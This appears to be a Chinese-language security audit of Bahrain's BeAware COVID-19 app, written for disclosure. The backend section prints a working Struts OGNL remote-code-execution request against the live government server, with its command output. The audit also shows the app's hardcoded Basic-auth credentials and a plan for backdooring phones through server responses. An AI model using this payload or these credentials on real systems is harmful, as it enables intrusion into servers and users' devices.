如何实施国家级规模的移动设备入侵:COVID-19 接触者追踪应用 BeAware Bahrain 评测
COVID-19 接触者追踪应用 BeAware 的移动安全测试
摘要
本文对 BeAware Bahrain 移动应用的 iOS 和 Android 版本进行了评测,重点关注流程透明度、 安全性、隐私、追踪能力和无障碍性。 本次评测是我们与 Randorisec 合作撰写的 COVID-19 接触者追踪应用系列文章的后续。 我们建议您阅读 上一篇文章,以了解 评测的方法和背景。
黄金标准
在评测任何接触者追踪应用之前,首先需要就这些应用必须满足的一组预期或 标准达成共识。
据我们所知,目前还没有任何地方制定过此类标准。一些组织谈论隐私,另一些组织 讨论追踪协议的效率及其提供的保障,但并没有我们可以 依赖的规范或指南。
因此,我们不得不根据所收集的一系列信息以及我们的常识来起草我们的预期。
这些要求是高层次的,并且有意与具体实现无关:
- 透明度
- 追踪协议有文档记录
- 应用的架构和设计有文档记录
- 应用设有处理隐私和安全问题的计划(漏洞赏金)
- 应用开源,便于审查和社区审核
- 隐私
- 应用不收集个人身份信息(PII)
- 应用不跟踪用户,也不收集位置数据
- 应用在设备上仅使用有限的权限,主要限于蓝牙发现和互联网访问
- 应用让用户能够控制自己的数据,包括清除和共享
- 安全
- 应用保持较小的攻击面,没有广告、支付或无关功能
- 应用使用经过审核且保持最新的第三方依赖
- 应用通过安全的加密通道进行通信
- 应用是安全的,不会向任何一方泄露任何追踪信息
- 追踪效率
- 追踪协议不允许跟踪个人
- 共享接触信息需用户主动选择加入
- 追踪不共享/收集位置数据或个人身份信息
- 追踪不允许反向追溯感染者
- 追踪检查不是集中式的,并由用户控制
- 即使应用在后台运行或屏幕关闭,追踪也能在 Android 和 iOS 上正常工作
- 无障碍性
- 应用提供多种语言版本,包括面向非本地用户的语言
- 非居民(因旅行禁令滞留在该国的人)也可以使用该应用
- 残障人士(色盲、视力障碍等)可以使用该应用
- 低端手机可以使用该应用(应用大小、电池消耗、低带宽等)
简要结论
针对 BeAware 应用的主要发现揭示了一些严重问题,这些问题影响 用户的隐私以及包括用户设备在内的基础设施的安全。
该应用持续收集 GPS 位置,而这些位置还会通过不同途径泄露(明文 流量、日志)。该应用的安全问题可能导致设备被入侵。

| 条目 | 类别 | 严重程度 |
|---|---|---|
| 后端服务器版本过旧,存在远程代码执行漏洞 | 安全 | 高危 |
| 缺乏文档、规范和源代码 | 透明度 | 高危 |
| 隐藏端点显示感染用户热力图,并泄露用户的确切地址 | 接触者追踪 / 隐私 | 高危 |
| 后端服务器可以向移动应用注入任意代码 | 安全 / 隐私 | 高危 |
| 安全联系人无响应 | 透明度 | 高危 |
| 应用在日志中泄露个人身份信息和位置 | 隐私 | 中危 |
| OpenSSL 库版本过旧 | 安全 | 低危 |
| 应用中存在硬编码凭据和密钥 | 代码质量 / 安全 | 低危 |
| 应用中包含 Javascript source map | 代码质量 / 安全 | 低危 |
| 不安全的 Apache Cordova 白名单 | 安全 | 低危 |
| 应用持续收集个人身份信息(护照号码和电话号码)及位置 | 接触者追踪 / 隐私 | 低危 |
深入分析:BeAware 应用

透明度
在研究过程中,我们没有找到任何关于该应用的文档或规范。源代码 并未公开,不过由于配置错误,可以从应用中部分恢复出来。
安全
BeAware 移动应用使用了跨平台框架 Ionic、Typescript 和 Angular。该 移动应用的安全态势存在多个问题,可能导致后端服务器被完全入侵, 并可被用来入侵手机。
网络通信
该应用通过 TLS 进行通信并正确执行证书验证,但部分端点
通过明文通信,参见下面的源代码摘录。对于 maps.google.com,在大多数情况下该端点会重定向到 HTTPS 或触发
HTTP 严格传输安全(HSTS)。
this.serviceProvider.gaTrackEvent("AppointmentPage", "Location");
if (userlocation == null) {
mapUrl = "http://maps.google.com?q=" + item.location.lat + "," + item.location.lon;
} else {
mapUrl = "http://maps.google.com/maps?daddr=" + item.location.lat + "," + item.location.lon + "&saddr=" + userlocation.coords.latitude + "," + userlocation.coords.longitude;
}
硬编码凭据和密钥
与多个 API 的通信中,端点使用以 HTTP Basic 授权头发送的硬编码凭据。该 API 没有实现任何会话管理机制,而是持续发送电话号码、个人身份证号和设备信息来 识别用户。
this.commonUrl = "https://apps.bahrain.bh/eGACommonService/services/secure/cs/";
this.corUrl = "https://apps.bahrain.bh/corona-tracking-client-api/";
this.headers = new __WEBPACK_IMPORTED_MODULE_2__angular_http__["a" /* Headers */]({
'Content-Type': 'application/json',
'appname': 'BCT',
'platform': this.platform.is('ios') ? 'ios' : 'android',
'language': this.translate.getDefaultLang() == "en" ? "English" : "Arabic",
'Accept-Language': this.translate.getDefaultLang(),
});
this.common = 'Basic T0NUX0lPUzpUQ09AMzRXMDEwI0lDUw==';
this.cor = 'Basic VEFXX0lPUzpUQVdAMjNKMTYwI1RBVw==';
第三方依赖
该应用使用了多个 Cordova 依赖,这些依赖是通过 cordova_plugins.js 文件识别出来的。
module.exports.metadata =
// TOP OF METADATA
{
"cordova-plugin-background-fetch": "6.0.3",
"cordova-background-geolocation": "3.6.0",
"cordova-plugin-network-information": "2.0.2",
"cordova-plugin-device": "2.0.2",
"cordova-plugin-inappbrowser": "3.2.0",
"cordova-plugin-ionic-keyboard": "2.0.5",
"cordova-support-android-plugin": "1.0.1",
"cordova-support-google-services": "1.2.1",
"cordova-plugin-firebase-messaging": "1.2.1",
"cordova-plugin-firebase-analytics": "1.1.1",
"cordova-plugin-app-version": "0.1.9",
"es6-promise-plugin": "4.2.2",
"cordova-plugin-x-socialsharing": "5.6.4",
"cordova-plugin-whitelist": "1.3.3",
"cordova-plugin-statusbar": "2.4.2",
"cordova-plugin-splashscreen": "5.0.2",
"cordova-plugin-ionic-webview": "4.0.0",
"cordova.plugins.diagnostic": "5.0.1",
"cordova-plugin-camera-with-exif": "1.3.1",
"cordova-plugin-file": "6.0.2",
"com.unarin.cordova.beacon": "3.8.1",
"cordova-plugin-badge": "0.8.8",
"cordova-plugin-local-notification": "0.9.0-beta.2",
"cordova-open-native-settings": "1.5.2",
"cordova-plugin-calendar": "5.1.5",
"cordova-plugin-hms-location": "1.0.0"
};
// BOTTOM OF METADATA
});
Cordova 插件在报告已修复漏洞方面的记录并不理想,例如
https://www.npmjs.com/package/cordova-plugin-advanced-http 在 2.0.7 版本中修复了一个 TLS/SSL 证书
验证漏洞,但并未报告任何 CVE。
然而,后端服务器报告的是一个过旧的 OpenSSL 版本:
HTTP/1.1 200
Content-Type: application/json
Content-Length: 221
Connection: close
Date: Sat, 13 Jun 2020 21:34:49 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 8455bcb2c0203b0c4ee93b610d75e69b.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: 7uLTx5gMknzyi-9W3HahufU5A_u94et3ZOcAq6Ty9FiPZFD3uWs8ig==
{"statusMessageEN":"App update Subscription was successful. count: 0. unsubscribeCount: 0","statusMessageAR":"App update Subscription was successful. count: 0. unsubscribeCount: 0","appRegisterID":null,"statusCode":"200"}
所有已知漏洞的影响都较低,或无法被远程利用。
后端
在调查过程中,我们发现后端服务器使用了存在远程代码执行漏洞(CVE-2013-2135)的过旧 Apache Struts 版本, 请求和响应的完整细节如下。
GET /CMSWebApplication/?redirect:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6c%73%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d HTTP/2
Host: apps.bahrain.bh
User-Agent: curl/7.65.3
Accept: */*
HTTP/2 200
date: Mon, 15 Jun 2020 10:26:13 GMT
server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
set-cookie: JSESSIONID=04419697E535A1149042AEBFB1E9B02D; Path=[REDACTED]; Secure; HttpOnly
x-cache: Miss from cloudfront
via: 1.1 aa787b163703f7d10f3853a5942eae76.cloudfront.net (CloudFront)
x-amz-cf-pop: YTO50-C2
x-amz-cf-id: G31YvcT9NzY9oZS7W_4dhziwZRl-DJZWgHxAjHnUNCFwKVtQcwgQew==
bin
conf
lib
logs
temp
webapps
work
* Connection #0 to host apps.bahrain.bh left intact
这些问题的共同根本原因在于 struts 库被打包在 jar/war 文件中。仅更新操作系统软件包而不重新构建应用的常见做法 不足以修复这一问题。
该移动应用会从服务器获取多项信息,其中 desEn 和 desAr 参数是通过 innerHTML 直接 注入到应用中的 HTML 输入,参见下面的响应和模板源代码示例:
HTTP/1.1 200
Content-Type: application/json
Connection: close
Date: Sat, 13 Jun 2020 21:36:45 GMT
Server: Apache/2.4.43 (Amazon) OpenSSL/1.0.2k-fips
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Max-Age: 601
Access-Control-Allow-Headers: Authorization, appname, language, Content-Type, platform, Accept, X-Login-Ajax-call, JSESSIONID, Accept-Language, X-Authorization
Access-Control-Expose-Headers: JSESSIONID
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 08c5e904e2f0226b2d9c1417f32b12f2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: MrFRytnry9kNIIsBvSLtXmaxZ_v-qvMNyDmcz5j_KZT-T36dRTKluA==
Content-Length: 59500
{"appStoreList":[{"code":"MYS","nameAr":"eشباب","nameEn":"eShabab","ownerAr":"وزارة شئون الشباب والرياضة","ownerEn":"Ministry of Youth and Sports Affairs (MYS)","descAr":"<p>يوفر هذا التطبيق مجموعة من الخدمات التي تستهدف فئة الشباب، حيث بإمكانهم الاستفادة مما يلي:</p>\r\n<ul>\r\n\t<li>خدمة "يلا نسجل"، حيث تتيح إمكانية:\r\n\t\t<ol>\r\n\t\t\t<li>تسجيل وتحديث الملف الشخصي.</li>\r\n\t\t\t<li>البحث والتسجيل في البرامج الشبابية</li>\r\n\t\t\t<li>عرض قائمة البرامج المسجلة</li>\r\n\t\t\t<li>التسجيل لامتحان التقييم والاستعلام عن حالة الامتحان</li>\r\n\t\t\t<li>إضافة أفراد العائلة (أبناء أو أشقاء) مع إمكانية تسجيلهم في البرامج</li>\r\n\t\t\t<li>التسجيل للحصول على إخطارات في حال توفر مقاعد شاغرة للبرامج مكتملة التسجيل.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>خدمة "سواعد"، حيث تتيح إمكانية تقيم طلب التطوع لوزارة شؤون الشباب والرياضة.</li>\r\n\t<li>عرض قائمة الفعاليات التي تنظمها وزارة شؤون الشباب والرياضة مع إمكانية التسجيل، إضافة الفعالية إلى التقويم، ومشاركة تفاصيلها عبر تطبيقات التواصل الاجتماعي.</li>\r\n\t<li>مواقعنا: خدمة تعتمد على الخريطة لعرض تفاصيل جميع المراكز الشبابية والأندية الرياضة المتواجدة في مملكة البحرين.</li>\r\n\t<li>توفير الإشعارات والإخطارات المرسلة من قبل الوزارة عبر التطبيق</li>\r\n</ul>","descEn":"<p>This app provides a collection of services targeting the Youth, where they can benefit from the following:</p>\r\n<ul>\r\n\t<li>"Let's Register" service, where it provides the ability to:\r\n\t\t<ol>\r\n\t\t\t<li>Create and update the user profile.</li>\r\n\t\t\t<li>Search and register for youth programs.</li>\r\n\t\t\t<li>View the list of registered programs.</li>\r\n\t\t\t<li>Register for assessment exams and enquire about the status.</li>\r\n\t\t\t<li>Add Family members (Children or Siblings) with the ability to register them for programs.</li>\r\n\t\t\t<li>Request to be notified when seats are available for fully booked programs.</li>\r\n\t\t</ol>\r\n\t</li>\r\n\t<li>"Sawaed" service, where users can submit a volunteering request to Ministry of Youth and Sport Affairs (MYS).</li>\r\n\t<li>View the list of events provided by Ministry of Youth and Sport Affairs (MYS) with the ability to register, add it to the calendar, and share the event details through social media.</li>\r\n\t<li>MYS Locator: A map-based service that provides the list of youth centers and sport clubs across the Kingdom of Bahrain and the details for each center or club.</li>\r\n\t<li>Receive notifications sent by the ministry.</li>\r\n</ul>","rating":3.27,"screenshots":["https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_1.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_2.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_3.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_4.png","https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_screenshot_5.png"],"ratingCount":24,"linkAr":"https://eshabab.page.link/ar","linkEn":"https://eshabab.page.link/en","aboutAr":"\n<p>يتيح هذا التطبيق مجموعة من الخدمات بالتعاون مع الجهات التالية:</p>\n<ul>\n <li>هيئة المعلومات والحكومة الإلكترونية</li>\n <li>وزارة شؤون الشباب والرياضة</li>\n</ul>\n<p>يهدف التطبيق إلى عرض الفعاليات والبرامج المتاحة للشباب وتسهيل عملية التسجيل فيها، إلى جانب إمكانية تقديم طلب للعمل التطوعي.\n</p>\n","aboutEn":"\n<p>This application provides a group of services in collaboration with the following entities:</p>\n<ul>\n <li>Information and eGovernment Authority (iGA)</li>\n <li>Ministry of Youth and Sport Affairs (MYS)</li>\n</ul>\n<p>It aims to introduce the list of events and programs provided for the youth easing the registration process, along with the ability to submit a volunteering request.\n</p>\n","icon":"https://apps.bahrain.bh/mobileapps/appstore/images/eshabab_logo.png","order":70,"status":"STABLE"},
Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["Component"])({
selector: 'page-our-apps-details',template:/*ion-inline-start:"D:\angular-2\corona19\corona-tracking-app\src\pages\our-apps-details\our-apps-details.html"*/'<ion-header>\n\n <ion-navbar no-border-bottom color="light">\n\n <button ion-button menuToggle>\n\n <ion-icon name="menu"></ion-icon>\n\n </button>\n\n <ion-title text-center>{ { translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</ion-title>\n\n <ion-buttons end>\n\n <button ion-button icon-only (click)="socialMediaShare()">\n\n <ion-icon name="md-share"></ion-icon>\n\n </button>\n\n </ion-buttons>\n\n </ion-navbar>\n\n</ion-header>\n\n\n\n<ion-content>\n\n <div class="whiteBg">\n\n <ion-grid class="appInfo ">\n\n <ion-row>\n\n <ion-col col-5>\n\n <img class="icon" [src]="app?.icon" />\n\n </ion-col>\n\n <ion-col col-7>\n\n <h3 class="name">{ {translate.getDefaultLang() == \'ar\' ? app?.nameAr : app?.nameEn} }</h3>\n\n <div class="author">{ {translate.getDefaultLang() == \'ar\' ? app?.ownerAr : app?.ownerEn} }</div>\n\n <button ion-button round color="primary"\n\n (click)="openURL(translate.getDefaultLang() == \'ar\' ? app.linkAr : app.linkEn)">{ {\'OURAPPSDETAILS.PREVIEW\'\n\n | translate} }\n\n </button>\n\n </ion-col>\n\n </ion-row>\n\n <ion-row>\n\n <ion-col>\n\n <div class="rate-star">\n\n <span>{ {app?.rating | number : \'1.1-1\'} }</span>\n\n <ion-icon *ngFor="let star of stars" [name]="star" class="stars"></ion-icon>\n\n </div>\n\n <p class="rate-counter">{ {app?.ratingCount} } { {\'OURAPPSDETAILS.RATINGS\' | translate} }</p>\n\n </ion-col>\n\n </ion-row>\n\n </ion-grid>\n\n <hr>\n\n <div class="description" padding>\n\n <h2 class="title">{ {\'OURAPPSDETAILS.DESCRIPTION\' | translate} }</h2>\n\n <div class="details" [innerHTML]="translate.getDefaultLang() == \'ar\' ? app?.descAr : app?.descEn">
一旦攻击者入侵了后端服务器,就有可能通过篡改服务器响应注入 javascript 后门来入侵移动设备。
此后有多种技术可以实现持久化,例如利用 service worker 或对应用缓存的写入权限。
出于显而易见的原因,这些攻击均未经过实际测试,而是通过网络流量分析和静态分析发现的。
将这些漏洞串联起来,可能导致数十万台设备遭到入侵,而该应用还拥有过多的权限。
源代码
应用的源代码通过 .js.map 泄露。
{
"version": 3,
"sources": [
"../../src/pipes/language/language.ts",
"../../src/pages/leave-permistions/leave-permistions.ts",
"../../src/pages/leave-permission-change/leave-permission-change.ts",
"../../src/pages/self-requests/self-requests.ts",
"../../src/pages/registration-photo/registration-photo.ts",
"../../node_modules/@angular/core/esm5 lazy",
"../../src/pages/symtoms-report-pop-up/symtoms-report-pop-up.ts",
"../../src lazy",
"../../src/pages/symtoms-report/symtoms-report.ts",
"../../src/pages/gmap/gmap.ts",
"../../src/pages/dispute/dispute.ts",
"../../src/pages/appointment/appointment.ts",
"../../src/pages/appointment-confirm/appointment-confirm.ts",
"../../src/pages/change-mobile/change-mobile.ts",
"../../src/pages/decisions/decisions.ts",
"../../src/pages/notification-details/notification-details.ts",
"../../src/pages/registration/registration.ts",
"../../src/pages/test-results/test-results.ts",
"../../src/pages/test-results-details/test-results-details.ts",
"../../src/pages/self-upload/self-upload.ts",
"../../src/pages/popup-status/popup-status.ts",
"../../src/pages/leave-permistions-modal/leave-permistions-modal.ts",
"../../src/pages/leave-permistions-request/leave-permistions-request.ts",
...
"names": [],
"mappings": ";;;;;;;;;;;;;;;;;;AAAoD;AACG;AAKvD;IACE,sBAAoB,SAA2B;QAA3B,cAAS,GAAT,SAAS,CAAkB;IAAI,CAAC;IAEpD,gCAAS,GAAT,UAAU,KAAa;QAErB,MAAM,CAAC,KAAK,CAAC,CAAC,CAAC,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,CAAC,CAAC,CAAC,EAAE,CAAC;IAC3C,CAAC;IAED,+BAAQ,GAAR,UAAS,KAAK;QACZ,IAAM,IAAI,GA
...
"file": "main.js",
"sourcesContent": [
"import { Pipe, PipeTransform } from '@angular/core';\r\nimport { TranslateService } from '@ngx-translate/core';\r\n\
利用 source map 可以很容易地重建原始源代码,只需以下 8 行代码:
import json
from pathlib import Path
j = json.load(open('main.js.map', 'r'))
names = j['sources']
contents = j['sourcesContent']
for n, c in zip(names, contents):
Path(n).parent.mkdir(parents=True, exist_ok=True)
open(n, '+w').write(c)
不安全的 Cordova 白名单
Cordova 的白名单用于管理网络安全访问,必须只授权明确可访问的资源。然而, BeAware 的白名单允许不受限制地访问所有资源
Url whitelisted: *
隐私与接触者追踪
权限
该应用请求了大量权限,尽管其中有多项权限并未被应用使用。例如,蓝牙 接触者追踪并未完全实现,在应用中也无法正常运行,但仍出现在 应用请求的权限之中。
请求的权限包括网络、GPS、蓝牙、通讯录和外部存储访问。
以下是 Android 上所有权限的列表:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.BLUETOOTH" android:required="false"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_CALENDAR"/>
<uses-permission android:name="android.permission.WRITE_CALENDAR"/>
<uses-permission android:name="android.permission.BLUETOOTH_ADMIN" android:required="false"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/>
<uses-permission android:name="oppo.permission.OPPO_COMPONENT_SAFE"/>
<uses-permission android:name="com.huawei.permission.external_app_settings.USE_COMPONENT"/>
<uses-feature android:name="android.hardware.location.gps" android:required="false"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.READ"/>
<uses-permission android:name="com.sec.android.provider.badge.permission.WRITE"/>
<uses-permission android:name="com.htc.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.htc.launcher.permission.UPDATE_SHORTCUT"/>
<uses-permission android:name="com.sonyericsson.home.permission.BROADCAST_BADGE"/>
<uses-permission android:name="com.sonymobile.home.permission.PROVIDER_INSERT_BADGE"/>
<uses-permission android:name="com.anddoes.launcher.permission.UPDATE_COUNT"/>
<uses-permission android:name="com.majeur.launcher.permission.UPDATE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="com.huawei.android.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.READ_APP_BADGE"/>
<uses-permission android:name="com.oppo.launcher.permission.READ_SETTINGS"/>
<uses-permission android:name="com.oppo.launcher.permission.WRITE_SETTINGS"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_READ"/>
<uses-permission android:name="me.everything.badger.permission.BADGE_COUNT_WRITE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
以下是 iOS 上所需的权限列表:
<key>NSMicrophoneUsageDescription</key>
<string>This app requires microphone access to function properly.</string>
<key>NSMotionUsageDescription</key>
<string>Device motion updates help determine when the device is stationary so the app can save power by turning off location-updates</string>
<key>NSCalendarsUsageDescription</key>
<string>Calendar permission is required for adding corona test appointments</string>
<key>NSRemindersUsageDescription</key>
<string>This app requires reminders access to function properly.</string>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSPhotoLibraryUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSPhotoLibraryAddUsageDescription</key>
<string>This app requires photo library access to function properly.</string>
<key>NSContactsUsageDescription</key>
<string>This app requires contacts access to function properly.</string>
<key>NSLocationAlwaysUsageDescription</key>
<string>Background location tracking is required for our app so we can track your location for corona affected places</string>
<key>NSCameraUsageDescription</key>
<string>Camera access is required for quarantine photo uploads or to attach medical certificate</string>
<key>NSBluetoothAlwaysUsageDescription</key>
<string>Bluetooth permission is required for Home quarantined users to detect wristband</string>
<key>NSBluetoothPeripheralUsageDescription</key>
<string>This app would like to scan for iBeacons.</string>
日志记录
该应用会记录海量数据,包括个人身份信息和追踪信息,例如设备 ID、政府 证件号码(如护照)、电话号码等。
以下是泄露 GPS 坐标的日志摘录:
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╔═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ║ TrackingService: LocationResult
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╠═════════════════════════════════════════════
06-14 12:31:37.637 19337 19337 D TSLocationManager: ╟─ 📍 Location[fused 26.233880,50.577910 hAcc=20 et=+13h12m43s511ms vel=9.174615 bear=90.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{}]}], age: 264ms, time: 1592130712000
06-14 12:31:37.637 19337 19337 I TSLocationManager: [c.t.l.service.TrackingService a]
06-14 12:31:37.637 19337 19337 I TSLocationManager: ℹ️ Distance from stoppedAtLocation: -40.0
06-14 12:31:37.637 19337 21391 D TSLocationManager: [c.t.l.l.TSLocationManager onLocationResult]
以下是在日志中泄露用户信息(护照、电话号码、设备 ID)的日志摘录:
06-14 11:02:46.654 19337 19425 I TSLocationManager: "params": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userDevice": {
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userType": "passport",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "userId": "CN1586236",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "deviceId": "befd3b10cbf11a2d",
06-14 11:02:46.654 19337 19425 I TSLocationManager: "mobileNumber": "+336123123123"
06-14 11:02:46.654 19337 19425 I TSLocationManager: }
06-14 11:02:46.654 19337 19425 I TSLocationManager: },
隐藏功能
可以从应用中识别出一些隐藏但仍可访问的功能。某个特定的 API 端点允许获取 感染热力图。该热力图的精确程度足以显示感染者的确切地址。 以下是获取热力图的示例请求:
POST /corona-tracking-client-api/trace/positive/heatmap HTTP/1.1
Host: apps.bahrain.bh
Connection: close
Origin: http://localhost
language: english
Accept-Language: en
Authorization: Basic [REDACTED]
Content-Type: application/json
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Nexus 5 Build/NJH47F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36
appname: BCT
platform: android
Referer: http://localhost/
Accept-Encoding: gzip, deflate
X-Requested-With: bh.bahrain.corona.tracker
Content-Length: 21
[REDACTED]
在我们的测试中,该列表包含 10 000 个唯一的点。以下是所获得响应的摘录:
{
"list": [
{
"key": "thshb50",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj120",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "theuxfv",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsj15q",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thsh2jd",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
{
"key": "thevjcz",
"latitude": 26.[REDACTED],
"longitude": 50.[REDACTED],
"weight": [REDACTED]
},
我们利用热力图数据重建出了以下地图:

这些信息可以与其他公开资源进行交叉比对,例如按年龄、性别、国籍列出的所有感染者名单:

个人身份信息
应用用户可以选择进行注册。应用鼓励用户完成这一步,以“帮助 防止病毒传播”。注册方式有 2 种:
- 使用 CPR 号码(巴林身份证)注册
- 使用护照号码注册
由于没有有效的 CPR 号码,我们使用护照号码完成了注册。随后,应用会要求输入手机号码,并通过发送 OTP 完成注册。


